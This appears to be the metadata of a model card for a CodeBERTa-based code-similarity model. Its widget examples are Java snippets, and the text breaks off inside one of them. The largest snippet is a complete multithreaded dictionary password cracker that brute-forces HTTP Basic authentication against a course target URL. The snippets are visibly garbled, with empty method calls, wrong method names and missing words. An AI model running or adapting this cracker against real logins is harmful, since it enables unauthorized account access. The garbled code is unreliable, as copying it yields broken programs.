| | --- |
| | tags: |
| | - sentence-transformers |
| | - sentence-similarity |
| | - feature-extraction |
| | - generated_from_trainer |
| | - dataset_size:30069 |
| | - loss:SoftmaxLoss |
| | base_model: huggingface/CodeBERTa-small-v1 |
| | widget: |
| | - source_sentence: " \n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class\ |
| | \ MyTimer\n{\t\n\n\tpublic static void main(String args[])\n\t{\n\t\tWatchdog\ |
| | \ watch = new Watchdog();\n\t\tTimer time = new Timer();\n\t\ttime.schedule(watch,864000000,864000000);\n\ |
| | \t\t\n\t\t\t\n\t}\n}\n" |
| | sentences: |
| | - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\ |
| | \ char[] out = new char[((data.length + 2) / 3) * 4];\n\n \n \n \n\ |
| | \ \n for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n boolean\ |
| | \ quad = false;\n boolean trip = false;\n\n int bat = (0xFF & (int)\ |
| | \ data[i]);\n bat <<= 8;\n if ((i+1) < data.length) {\n \ |
| | \ bat |= (0xFF & (int) data[i+1]);\n trip = true;\n }\n \ |
| | \ bat <<= 8;\n if ((i+2) < data.length) {\n bat |= (0xFF\ |
| | \ & (int) data[i+2]);\n quad = true;\n }\n out[index+3]\ |
| | \ = alphabet[(quad? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+2]\ |
| | \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ |
| | \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ |
| | \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ |
| | \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ |
| | \ for( int ix=0; ix<data.length; ix++ )\n {\n if( (data[ix] > 255)\ |
| | \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ |
| | \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ |
| | \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ |
| | \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ |
| | \ \n for (int ix=0; ix<data.length; ix++)\n {\n int value = (data[ix]>255)?\ |
| | \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ |
| | \ accum <<= 6; \n shift += 6; \n\ |
| | \ accum |= value; \n if ( shift >= 8 ) \n\ |
| | \ {\n shift -= 8; \n out[index++]\ |
| | \ = \n (byte) ((accum >> shift) & 0xff);\n \ |
| | \ }\n }\n \n \n \n \n \n \n \ |
| | \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ |
| | Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ |
| | \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ |
| | \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ |
| | \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ |
| | static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ |
| | \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ |
| | \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ |
| | \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ |
| | \ = 63;\n}\n}" |
| | - "\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\n\ |
| | import javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\ |
| | import javax.sql.DataSource;\n\n\n\n\n\n\npublic class MailsendPropertyHelper\ |
| | \ {\n\n\tprivate static Properties testProps;\n\n\tpublic MailsendPropertyHelper()\ |
| | \ {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\ |
| | \t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\ |
| | Error init'ing the watchddog Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\ |
| | return testProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\ |
| | \ throws Exception{\n\t\tif(testProps == null){\n\t\t\ttestProps = new Properties();\n\ |
| | \n\t\t\tInputStream fis =\n\t\t\t\tMailsendPropertyHelper.class.getResourceAsStream(\"\ |
| | /mailsend.properties\");\n\t\t\ttestProps.load(fis);\n\t\t}\n\t}\n}\n\n\n\n\n\n" |
| | - "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\n\ |
| | import java.io.*;\nimport java.text.*;\n\npublic class Dictionary {\n \n \ |
| | \ \n \n public static String Base64Encode(String s) {\n byte[] bb\ |
| | \ = s.getBytes();\n byte[] b = bb;\n char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\ |
| | \ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\ |
| | \ '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length\ |
| | \ % 3!=0) {\n int x1 = bb.length;\n \n b = new\ |
| | \ byte[(x1/3+1)*3];\n int x2 = b.length;\n \n \ |
| | \ for(int i=0;i<x1;i++)\n b[i] = bb[i];\n for(int i=x1;i<x2;i++)\n\ |
| | \ b[i] = 0;\n }\n \n char[] c = new char[b.length/3*4];\n\ |
| | \ \n int i=0, j=0;\n while (i+3<=b.length) {\n \ |
| | \ c[j] = table[(b[i] >> 2)];\n c[j+1] = table[(b[i+1] >>\ |
| | \ 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) |\ |
| | \ ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n \ |
| | \ i+=3;\n j+=4;\n }\n \n j = c.length-1;\n\ |
| | \ while (c[j]=='A') {\n c[j]='=';\n j--;\n \ |
| | \ }\n \n return String.valueOf(c);\n }\n \n \n public\ |
| | \ synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n \ |
| | \ for (int i=0;i<MAXTHREAD;i++) {\n attempt += threads[i].getLocalAttempt();\n\ |
| | \ }\n }\n \n \n public synchronized void printStatusReport(String\ |
| | \ Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n \ |
| | \ DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\"\ |
| | );\n \n System.out.println();\n System.out.println(\" ------------------------\ |
| | \ [ CURRENT STATISTICS ] ---------------------------\");\n System.out.println();\n\ |
| | \ System.out.println(\" Current connections : \"+curconn);\n \ |
| | \ System.out.println(\" Current progress : \"+attempt+ \" of \"+ALLCOMBI+\"\ |
| | \ (\"+currprogress+\"%)\");\n System.out.println(\" Overall Attempts rate\ |
| | \ : \"+ovrl+\" attempts second (approx.)\");\n System.out.println();\n\ |
| | \ System.out.println(\" ---------------------------------------------------------------------------\"\ |
| | );\n System.out.println();\n }\n \n \n public class MyTT extends\ |
| | \ TimerTask {\n \n public synchronized void run() {\n \ |
| | \ \n \n if (count==REPORT_INTERVAL) {\n \ |
| | \ \n DecimalFormat fmt = new DecimalFormat();\n \ |
| | \ fmt.applyPattern(\"0.00\");\n \n \n \ |
| | \ getAccumulatedLocalAttempt();\n double p = (double)attempt/(double)ALLCOMBI*100;\n\ |
| | \ \n \n double aps = (double) (attempt\ |
| | \ - attm) / REPORT_INTERVAL;\n \n \n \ |
| | \ attmArr[attmArrIdx++] = aps;\n \n \n \ |
| | \ printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n\ |
| | \ count = 0;\n } else\n \n \ |
| | \ if (count==0) {\n getAccumulatedLocalAttempt();\n \ |
| | \ attm = attempt;\n count++;\n \ |
| | \ } else {\n count++;\n }\n }\n \ |
| | \ \n \n \n public synchronized double getOverallAttemptPerSec()\ |
| | \ {\n double val = 0;\n \n if (attmArrIdx==0)\ |
| | \ {\n return attmArrIdx;\n } else {\n \ |
| | \ for (int i=0;i<attmArrIdx;i++) {\n val+= attmArr[i];\n\ |
| | \ }\n return val / attmArrIdx;\n }\n\ |
| | \ }\n \n private int count = 0;\n private \ |
| | \ int attm;\n private int attmArrIdx = 0;\n private double[]\ |
| | \ attmArr = new double[2*60*60/10]; \n }\n \n \n public synchronized\ |
| | \ void interruptAll(int ID) {\n for (int i=0;i<MAXTHREAD;i++) {\n \ |
| | \ if ((threads[i].isAlive()) && (i!=ID)) {\n threads[i].interrupt();\n\ |
| | \ }\n notifyAll();\n }\n }\n \n \n \n\ |
| | \ public synchronized void setSuccess(int ID, String p) {\n passw \ |
| | \ = p;\n success = ID;\n notifyAll();\n interruptAll(ID);\n\ |
| | \ \n \n end = System.currentTimeMillis();\n }\n \n\ |
| | \ \n public synchronized boolean isSuccess() {\n return (success>=0);\n\ |
| | \ }\n \n \n \n public synchronized void waitUntilAllTerminated()\ |
| | \ {\n while (curconn>0) {\n try {\n wait();\n\ |
| | \ } catch (InterruptedException e) {}\n }\n }\n \n \ |
| | \ \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean\ |
| | \ interruptd= false;\n int idx = -1;\n \n \n \n \ |
| | \ \n while (curconn>=MAXCONN) {\n try {\n \ |
| | \ wait();\n } catch (InterruptedException e) { interruptd = true;\ |
| | \ }\n }\n \n \n \n if (!interruptd) {\n \ |
| | \ \n curconn++;\n for (idx=0;idx<MAXCONN;idx++)\n\ |
| | \ if (!connused[idx]) {\n connused[idx] = true;\n\ |
| | \ break;\n }\n \n notifyAll();\n\ |
| | \ }\n \n \n return idx;\n }\n \n \n public\ |
| | \ synchronized void decreaseConn(int idx) {\n curconn--;\n connused[idx]\ |
| | \ = false;\n \n \n notifyAll();\n }\n \n \n \n\ |
| | \ \n public String[] fetchWords( int idx,int n) {\n String[] result\ |
| | \ = new String[n];\n try {\n \n BufferedReader b\ |
| | \ = new BufferedReader(new FileReader(TEMPDICT));\n \n for\ |
| | \ (int i=0;i<idx;i++) { b.readLine(); }\n \n for (int i=0;i<n;i++)\ |
| | \ {\n result[i] = b.readLine();\n }\n \n\ |
| | \ b.print();\n } catch (FileNotFoundException e) {\n \ |
| | \ System.out.println(e);\n System.exit(0);\n } catch (IOException\ |
| | \ e) {}\n return result;\n }\n \n \n public String fetchWord(\ |
| | \ int idx) {\n String result = null;\n try {\n \n \ |
| | \ BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));\n \ |
| | \ \n for (int i=0;i<idx;i++) { b.readLine(); }\n \ |
| | \ \n result = b.readLine();\n \n b.print();\n\ |
| | \ } catch (FileNotFoundException e) {\n System.out.println(e);\n\ |
| | \ System.exit(0);\n } catch (IOException e) {}\n return\ |
| | \ result;\n }\n \n \n public static void readThroughDictionary() {\n\ |
| | \ try {\n \n BufferedReader b = new BufferedReader(new\ |
| | \ FileReader(DICTIONARY));\n PrintWriter w = new PrintWriter(new\ |
| | \ BufferedWriter(new FileWriter(TEMPDICT)));\n String s;\n \ |
| | \ \n ALLCOMBI = 0;\n while ((s=b.readLine())!=null) {\n\ |
| | \ if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) {\n \ |
| | \ w.println(s);\n ALLCOMBI++;\n \ |
| | \ }\n }\n b.print();\n w.print();\n \ |
| | \ } catch (FileNotFoundException e) {\n System.out.println(\"Unable\ |
| | \ open the DICTIONARY file '\"+DICTIONARY+\"'\");\n System.exit(0);\n\ |
| | \ } catch (IOException e) {\n System.out.println(\"Error in\ |
| | \ the DICTIONARY file '\"+DICTIONARY+\"'\");\n System.exit(0);\n \ |
| | \ }\n }\n \n \n \n \n \n public class ThCrack extends\ |
| | \ Thread {\n \n \n public ThCrack(int threadID, int startidx,\ |
| | \ int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\":\ |
| | \ \");\n this.ID = threadID;\n this.startidx = startidx;\n\ |
| | \ this.endidx = endidx;\n \n \n \ |
| | \ if (endidx>=startidx+MAXCACHE-1) {\n this.localDict = new String[MAXCACHE];\n\ |
| | \ this.localDict = fetchWords(startidx,MAXCACHE);\n \ |
| | \ lastFetchIdx = startidx+MAXCACHE-1;\n } else {\n \ |
| | \ this.localDict = new String[(int)(endidx-startidx+1)];\n \ |
| | \ this.localDict = fetchWords(startidx,(int)(endidx-startidx+1));\n \ |
| | \ lastFetchIdx = endidx;\n }\n \n setDaemon(true);\n\ |
| | \ }\n \n \n public boolean launchRequest(String ID,\ |
| | \ int connID,String thePass) throws IOException, InterruptedException {\n \ |
| | \ int i;\n String msg;\n \n \n \ |
| | \ URL tryURL = new URL(THEURL);\n \n \n connections[connID]=(HttpURLConnection)\ |
| | \ tryURL.openConnection();\n \n \n connections[connID].setRequestProperty(\"\ |
| | Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \ |
| | \ \n i = connections[connID].getResponseCode();\n \ |
| | \ msg = connections[connID].getResponseMessage();\n connections[connID].disconnect();\n\ |
| | \ \n \n if (i==HttpURLConnection.HTTP_OK) {\n\ |
| | \ \n System.out.println(ID+\"Trying '\"+thePass+\"\ |
| | ' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n setSuccess(this.ID,thePass);\n\ |
| | \ return (true);\n } else {\n \n \ |
| | \ System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"\ |
| | -\"+msg+\").\");\n return (false);\n }\n }\n\ |
| | \ \n \n public void rest(int msec) {\n try { sleep(msec);\ |
| | \ } catch (InterruptedException e) {}\n }\n \n \n \ |
| | \ public String getCacheIdx(int idx) {\n if (idx<=lastFetchIdx) {\n\ |
| | \ return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];\n\ |
| | \ } else {\n if (lastFetchIdx+localDict.length-1>endidx)\ |
| | \ {\n this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1));\n\ |
| | \ lastFetchIdx = endidx;\n } else {\n \ |
| | \ this.localDict = fetchWords(lastFetchIdx+1,localDict.length);\n\ |
| | \ lastFetchIdx = lastFetchIdx+localDict.length;\n \ |
| | \ }\n return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];\n\ |
| | \ }\n }\n \n \n \n public String\ |
| | \ constructPassword(int idx) {\n return getCacheIdx(idx);\n \ |
| | \ }\n \n \n public String getStartStr() {\n return\ |
| | \ fetchWord(this.startidx);\n }\n \n \n public String\ |
| | \ getEndStr() {\n return fetchWord(this.endidx);\n }\n \ |
| | \ \n \n public void run() {\n i = startidx;\n \ |
| | \ boolean keeprunning = true;\n while ((!isSuccess()) && (i<=endidx)\ |
| | \ && (keeprunning)) {\n \n \n int\ |
| | \ idx = waitUntilOK2Connect();\n \n \n \ |
| | \ if (idx==-1) {\n \n break;\n \ |
| | \ }\n \n try {\n \ |
| | \ \n String s = constructPassword(i);\n \ |
| | \ \n if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR))\n\ |
| | \ launchRequest(getName(), idx, s);\n \ |
| | \ else\n System.out.println(getName()+\"skipping '\"\ |
| | +s+\"'\");\n \n decreaseConn(idx);\n \ |
| | \ \n localattempt++;\n \n\ |
| | \ \n rest(MAXCONN);\n \ |
| | \ i++;\n } catch (InterruptedException e) {\n \ |
| | \ \n \n keeprunning = false;\n \ |
| | \ break;\n } catch (IOException e) {\n \ |
| | \ \n \n \n \n\ |
| | \ \n decreaseConn(idx);\n \ |
| | \ }\n }\n \n \n if (success==this.ID)\ |
| | \ {\n waitUntilAllTerminated();\n }\n }\n \ |
| | \ \n \n public int getLocalAttempt() {\n return localattempt;\n\ |
| | \ }\n \n private int startidx,endidx;\n private int\ |
| | \ ID;\n private int localattempt = 0;\n private String localDict[];\ |
| | \ \n private int lastFetchIdx;\n }\n \n \n public void printProgramHeader(String\ |
| | \ mode,int nThread) {\n System.out.println();\n System.out.println(\"\ |
| | \ ********************** [ DICTIONARY CRACKING SYSTEM ] *********************\"\ |
| | );\n System.out.println();\n System.out.println(\" URL \ |
| | \ : \"+THEURL);\n System.out.println(\" Crack Mode : \"+mode);\n \ |
| | \ System.out.println(\" . Char : \"+MINCHAR);\n System.out.println(\"\ |
| | \ . Char : \"+MAXCHAR);\n System.out.println(\" # of Thread : \"+nThread);\n\ |
| | \ System.out.println(\" Connections : \"+MAXCONN);\n System.out.println(\"\ |
| | \ All Combi. : \"+ALLCOMBI);\n System.out.println();\n System.out.println(\"\ |
| | \ ***************************************************************************\"\ |
| | );\n System.out.println();\n }\n \n \n public void startNaiveCracking()\ |
| | \ {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n\ |
| | \ }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n\ |
| | \ int thcount;\n \n \n if (isenhanced) {\n \ |
| | \ printProgramHeader(\"ENHANCED DICTIONARY CRACKING ALGORITHM\",MAXTHREAD);\n\ |
| | \ } else {\n printProgramHeader(\"NAIVE DICTIONARY CRACKING\ |
| | \ ALGORITHM\",MAXTHREAD);\n }\n \n \n \n \n\ |
| | \ \n \n \n \n if (MAXTHREAD>ALLCOMBI) { MAXTHREAD\ |
| | \ = (int) (ALLCOMBI); }\n mult = (ALLCOMBI) / MAXTHREAD;\n \n \ |
| | \ \n i = System.currentTimeMillis();\n \n \n \ |
| | \ for (thcount=0;thcount<MAXTHREAD-1;thcount++) {\n startidx = thcount*mult;\n\ |
| | \ endidx = (thcount+1)*mult-1;\n threads[thcount] = new\ |
| | \ ThCrack(thcount, startidx, endidx);\n System.out.println(threads[thcount].getName()+\"\ |
| | \ try crack from '\"+threads[thcount].getStartStr()+\"' '\"+threads[thcount].getEndStr()+\"\ |
| | '\");\n }\n \n \n \n \n \n startidx\ |
| | \ = (MAXTHREAD-1)*mult;\n endidx = ALLCOMBI-1;\n threads[MAXTHREAD-1]\ |
| | \ = new ThCrack(MAXTHREAD-1, startidx, endidx);\n System.out.println(threads[MAXTHREAD-1].getName()+\"\ |
| | \ try crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"' '\"+threads[MAXTHREAD-1].getEndStr()+\"\ |
| | '\");\n \n System.out.println();\n System.out.println(\"\ |
| | \ ***************************************************************************\"\ |
| | );\n System.out.println();\n \n \n for (int i=0;i<MAXTHREAD;i++)\n\ |
| | \ threads[i].print();\n }\n \n \n public Dictionary() {\n\ |
| | \ \n if (isenhanced) {\n startDistCracking();\n \ |
| | \ } else {\n startNaiveCracking();\n }\n \n \ |
| | \ \n reportTimer = new java.util.Timer();\n MyTT tt = new\ |
| | \ MyTT();\n reportTimer.schedule(tt,0,1000);\n \n \n \ |
| | \ while ((success==-1) && (attempt<ALLCOMBI)) {\n try { Thread.sleep(100);\ |
| | \ getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }\n \ |
| | \ }\n \n \n if (success==-1) {\n end = System.currentTimeMillis();\n\ |
| | \ }\n \n \n getAccumulatedLocalAttempt();\n \ |
| | \ \n double ovAps = tt.getOverallAttemptPerSec();\n DecimalFormat\ |
| | \ fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n\ |
| | \ \n reportTimer.cancel();\n \n \n try { Thread.sleep(1000);\ |
| | \ } catch (InterruptedException e) { }\n \n \n synchronized\ |
| | \ (this) {\n if (success>=0) {\n System.out.println();\n\ |
| | \ System.out.println(\" ********************* [ URL SUCCESSFULLY\ |
| | \ CRACKED !! ] *********************\");\n System.out.println();\n\ |
| | \ System.out.println(\" The password is : \"+passw);\n \ |
| | \ System.out.println(\" Number of attempts : \"+attempt+\" of \"\ |
| | +ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt\ |
| | \ position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\ |
| | \ System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ |
| | \ \" attempts/sec\");\n System.out.println(\" Cracking time \ |
| | \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ |
| | \ System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\ |
| | \ \" seconds\");\n System.out.println();\n System.out.println(\"\ |
| | \ ***************************************************************************\"\ |
| | );\n System.out.println();\n } else {\n \ |
| | \ System.out.println();\n System.out.println(\" *********************\ |
| | \ [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n\ |
| | \ System.out.println(\" Number of attempts : \"+attempt+\" of\ |
| | \ \"+ALLCOMBI+\" total combinations\");\n System.out.println(\"\ |
| | \ Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\ |
| | %\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ |
| | \ \" attempts/sec\");\n System.out.println(\" Cracking time \ |
| | \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ |
| | \ System.out.println();\n System.out.println(\" ***************************************************************************\"\ |
| | );\n System.out.println();\n }\n }\n }\n \ |
| | \ \n \n public static void printSyntax() {\n System.out.println();\n\ |
| | \ System.out.println(\"Syntax : Dictionary [mode] [URL] [] [] [username]\"\ |
| | );\n System.out.println();\n System.out.println(\" mode :\ |
| | \ (opt) 0 - NAIVE Dictionary mode\");\n System.out.println(\" \ |
| | \ (trying from the first the last combinations)\");\n System.out.println(\"\ |
| | \ 1 - ENHANCED Dictionary mode\");\n System.out.println(\"\ |
| | \ (dividing cracking jobs multiple threads) (default)\"\ |
| | );\n System.out.println(\" URL : (opt) the URL crack \");\n \ |
| | \ System.out.println(\" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\"\ |
| | );\n System.out.println(\" , : (optional) range of characters applied\ |
| | \ in the cracking\");\n System.out.println(\" where\ |
| | \ 1 <= <= 255 (default = 1)\");\n System.out.println(\" \ |
| | \ <= <= 255 (default = 3)\");\n System.out.println(\"\ |
| | \ username : (optional) the username that is used crack\");\n System.out.println();\n\ |
| | \ System.out.println(\" NOTE: The optional parameters '','', and 'username'\"\ |
| | );\n System.out.println(\" have specified altogether none at\ |
| | \ all.\");\n System.out.println(\" For example, if [] is specified,\ |
| | \ then [], and [username]\");\n System.out.println(\" have specified\ |
| | \ as well. If none of them specified,\");\n System.out.println(\" \ |
| | \ default values used.\");\n System.out.println();\n System.out.println(\"\ |
| | \ Example of invocation :\");\n System.out.println(\" java Dictionary\ |
| | \ \");\n System.out.println(\" java Dictionary 0\");\n System.out.println(\"\ |
| | \ java Dictionary 1 http://localhost/tryme.php\");\n System.out.println(\"\ |
| | \ java Dictionary 0 http://localhost/tryme.php 1 3 \");\n System.out.println(\"\ |
| | \ java Dictionary 1 http://localhost/tryme.php 1 10 \");\n System.out.println();\n\ |
| | \ System.out.println();\n }\n \n \n public static void paramCheck(String[]\ |
| | \ args) {\n int argc = args.length;\n \n \n try {\n\ |
| | \ switch (Integer.valueOf(args[0]).intValue()) {\n case\ |
| | \ 0: {\n isenhanced = false;\n } break;\n \ |
| | \ case 1: {\n isenhanced = true;\n \ |
| | \ } break;\n default:\n System.out.println(\"\ |
| | Syntax error : invalid mode '\"+args[0]+\"'\");\n printSyntax();\n\ |
| | \ System.exit(1);\n }\n } catch (NumberFormatException\ |
| | \ e) {\n System.out.println(\"Syntax error : invalid number '\"+args[0]+\"\ |
| | '\");\n printSyntax();\n System.exit(1);\n }\n \ |
| | \ \n if (argc>1) {\n try {\n \n \ |
| | \ URL u = new URL(args[1]);\n \n \n \ |
| | \ try {\n HttpURLConnection conn = (HttpURLConnection)\ |
| | \ u.openConnection();\n \n switch (conn.getResponseCode())\ |
| | \ {\n case HttpURLConnection.HTTP_ACCEPTED:\n \ |
| | \ case HttpURLConnection.HTTP_OK:\n case \ |
| | \ HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n case HttpURLConnection.HTTP_FORBIDDEN:\n\ |
| | \ case HttpURLConnection.HTTP_UNAUTHORIZED:\n \ |
| | \ break;\n default:\n \ |
| | \ \n \n System.out.println(\"\ |
| | Unable open connection the URL '\"+args[1]+\"'\");\n \ |
| | \ System.exit(1);\n }\n } catch (IOException\ |
| | \ e) {\n System.out.println(e);\n System.exit(1);\n\ |
| | \ }\n \n THEURL = args[1];\n \ |
| | \ } catch (MalformedURLException e) {\n \n \ |
| | \ System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n\ |
| | \ System.exit(1);\n }\n }\n \n \ |
| | \ \n if (argc==5) {\n try {\n MINCHAR = Integer.valueOf(args[2]).intValue();\n\ |
| | \ } catch (NumberFormatException e) {\n System.out.println(\"\ |
| | Invalid range number value '\"+args[2]+\"'\");\n printSyntax();\n\ |
| | \ System.exit(1);\n }\n \n try\ |
| | \ {\n MAXCHAR = Integer.valueOf(args[3]).intValue();\n \ |
| | \ } catch (NumberFormatException e) {\n System.out.println(\"\ |
| | Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n\ |
| | \ System.exit(1);\n }\n \n if\ |
| | \ ((MINCHAR<1) || (MINCHAR>255)) {\n System.out.println(\"Invalid\ |
| | \ range number value '\"+args[2]+\"' (must between 0 and 255)\");\n \ |
| | \ printSyntax();\n System.exit(1);\n } else\n\ |
| | \ if (MINCHAR>MAXCHAR) {\n System.out.println(\"\ |
| | Invalid range number value '\"+args[2]+\"' (must lower than the value)\");\n\ |
| | \ printSyntax();\n System.exit(1);\n \ |
| | \ }\n \n if (MAXCHAR>255) {\n \ |
| | \ System.out.println(\"Invalid range number value '\"+args[3]+\"' (must between\ |
| | \ value and 255)\");\n printSyntax();\n System.exit(1);\n\ |
| | \ }\n \n USERNAME = args[4];\n } else\n\ |
| | \ if ((argc>2) && (argc<5)) {\n System.out.println(\"\ |
| | Please specify the [], [], and [username] altogether none at all\");\n \ |
| | \ printSyntax();\n System.exit(1);\n } else\n\ |
| | \ if ((argc>2) && (argc>5)) {\n System.out.println(\"\ |
| | The number of parameters expected is not more than 5. \");\n \ |
| | \ System.out.println(\" have specified more than 5 parameters.\");\n \ |
| | \ printSyntax();\n System.exit(1);\n \ |
| | \ }\n }\n \n public static void main(String[] args) {\n MINCHAR\ |
| | \ = 1;\n MAXCHAR = 3; \n \n \n if (args.length==0)\ |
| | \ {\n args = new String[5];\n args[0] = String.valueOf(1);\ |
| | \ \n args[1] = THEURL;\n args[2] = String.valueOf(MINCHAR);\n\ |
| | \ args[3] = String.valueOf(MAXCHAR);\n args[4] = USERNAME;\n\ |
| | \ }\n \n \n paramCheck(args);\n \n \n\ |
| | \ readThroughDictionary();\n \n \n Application = new\ |
| | \ Dictionary();\n }\n \n public static Dictionary Application;\n public\ |
| | \ static String THEURL\t\t= \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
| | ;\n public static String DICTIONARY = System.getProperty(\"user.dir\"\ |
| | )+\"/words\";\n public static String TEMPDICT = System.getProperty(\"\ |
| | user.dir\")+\"/~words\";\n public static boolean isenhanced;\t\t\n public\ |
| | \ static String passw\t\t= \"\";\t\n \n public static final int REPORT_INTERVAL\ |
| | \ = 1; \n public static int MAXTHREAD = 50; \n public static\ |
| | \ int MAXCONN = 50; \n public static int\t curconn = 0;\ |
| | \ \n public static int success = -1; \n \n public\ |
| | \ static String USERNAME = \"\"; \n public static int MINCHAR; \ |
| | \ \n public static int MAXCHAR; \n public\ |
| | \ static int ALLCOMBI; \n \n public static int start\ |
| | \ ,end; \n public static int MAXCACHE = 100; \n \ |
| | \ \n public static java.util.Timer reportTimer; \n public static HttpURLConnection\ |
| | \ connections[] = new HttpURLConnection[MAXCONN]; \n public static boolean\t\ |
| | \ connused[]\t = new boolean[MAXCONN]; \n public ThCrack[]\ |
| | \ threads = new ThCrack[MAXTHREAD]; \n public static\ |
| | \ int attempt = 0; \n public static int idxLimit;\t\t\ |
| | \ \n}\n" |
| | - source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\n\ |
| | import java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\ |
| | \npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n\ |
| | \ private PrintWriter out2;\n private TextArea response;\n int status;\n\ |
| | \ int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int\ |
| | \ newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n \ |
| | \ PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n\ |
| | \ status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n\ |
| | \ file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n\ |
| | \ printW = new PrintWriter(fout);\n }\n catch (IOException\ |
| | \ ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n \ |
| | \ }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n \ |
| | \ u = new URL(url);\n try\n {\n \n \ |
| | \ uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n\ |
| | \ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\ |
| | \n String line;\n\n \n while ((line = in.readLine())\ |
| | \ != null)\n {\n \n printW.println(line);\n\ |
| | \n }\n }\n catch (Exception e)\n {\n \ |
| | \ System.out.println(\"Error: \" + e);\n }\n }\n \ |
| | \ catch (MalformedURLException e)\n {\n System.out.println(url\ |
| | \ + \" is not a parseable URL\");\n }\n \n printW.print();\n\ |
| | \n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\"\ |
| | );\n }\n }\n\n String loadStream(InputStream in) throws IOException\n\ |
| | \ {\n int ptr = 0;\n in = new BufferedInputStream(in);\n \ |
